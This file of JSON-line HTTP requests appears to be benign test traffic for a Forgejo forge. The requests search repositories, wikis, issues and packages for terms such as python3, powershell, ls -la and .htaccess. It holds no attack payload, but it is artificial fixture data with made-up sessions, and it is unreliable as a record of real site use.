{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2Bfeat%252Fdocker-support%2Bwas%2Bsuccessfully%2Brenamed%2Bto%2Bfeat%252Fpython3-support."], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 180", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": "title=Python3+setup&content=Install+python3%2C+or+powershell+on+Windows.+Run+ls+-la+to+check+that+.htaccess+and+docker-compose.yml+are+there%2C+then+run+install-script.sh.&message="}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/powershell-scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/explore/repos?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?q=ls+-la&tab=repositories&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice?tab=repositories", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=ls+-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
# The searches of the pages gitea and Forgejo share, with the fields their
# forms send, sent to Forgejo 17.0.1 with an ordinary Chrome's headers. Each
# searches for words that name commands and files, such as python3 and
# .htaccess, and for plain words. A tag or package name can hold a slash, so the
# tags and packages pages also search for /bin/sh. The packages pages also
# search for a Maven name. The issues and pull requests of one team, and those
# of one milestone, are also searched for SQL. Each search of a package's
# versions is sent for a generic package and for the npm package
# @alice/tools-cli, whose name holds a slash.
{"method": "GET", "target": "/explore/topics/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=python3&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/search_candidates?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/notifications/watching?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/teams/-/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/code?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/projects?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=python3&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=python3&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/tags?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestone/1?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/projects?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/packages?q=python3&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/posters?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls/posters?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
